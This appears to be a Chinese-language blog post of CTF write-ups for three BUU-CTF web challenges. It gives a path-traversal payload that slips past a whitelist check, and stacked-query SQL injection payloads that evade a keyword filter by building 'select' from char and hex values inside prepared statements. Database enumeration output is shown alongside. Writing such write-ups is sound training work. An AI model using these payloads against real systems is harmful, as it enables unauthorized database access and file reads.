BUU-CTF web

发布于 2020-07-31  32 次阅读


根据需要直接在页面搜索题名。

2020.8.11,现在在本地记录,过段时间更新

[HCTF 2018]WarmUp

思路:
页面无有效信息,一个滑稽很嘲讽,实际上是大佬对萌新入坑的坏笑。
按F12查看html源码。
可以看到source.php。
根据源码知道还有hint.php。

flag not here, and flag in ffffllllaaaagggg

source.php里首先定义了类emmm,类里有 checkFile函数,这个函数是过滤用的,其实也不需要弄个类,完全就是让代码看的复杂一些。
这个函数有个白名单数组,
当file变量传入服务器时,会做一些过滤。

$_page = mb_substr(
    $page,
    mb_strpos($page . '?', '?')
    );
if (in_array($_page, $whitelist)) {
    return true;
    }

这就很有问题,只会截取file问号之前的内容。

载荷:
payload:
?file=source.php?/../../../../ffffllllaaaagggg


[强网杯 2019]随便注

思路:
1. 输入'会报错,所有应该是字符型注入。
2. 输入' or 1#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
  1. 爆字段:' union select 1,2#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明有一系列的过滤,匹配到就报错,无视大小写。

  1. 可以用show:' ;show databases;#
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
  1. ';show tables from supersqli;#

  2. ';show columns from 1919810931114514;#

  3. 预处理(这里有过滤,用大小写绕过):';Set @unln=concat(char(115,101,108,101,99,116)," * from 1919810931114514");Prepare anyname from @unln;execute anyname;#

还可以这样:';Set @sisi=concat(0x73656C656374," * from 1919810931114514");Prepare sqla from @sisi;execute sqla;#


[SUCTF 2019]EasySQL

有机会整一个mysql关键字的表……

思路:
1. ' or 1#

Nonono.

最后发现是and、or这些被过滤(无视大小写)了。
其它还有union、prepare、from、where、flag
可以用show、in

  1. 1;show tables;#
Array ( [0] => 1 ) Array ( [0] => Flag ) 
  1. 1;show databases;#
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test ) 

此夜亭下花落英,雁栖湖畔琴奏新。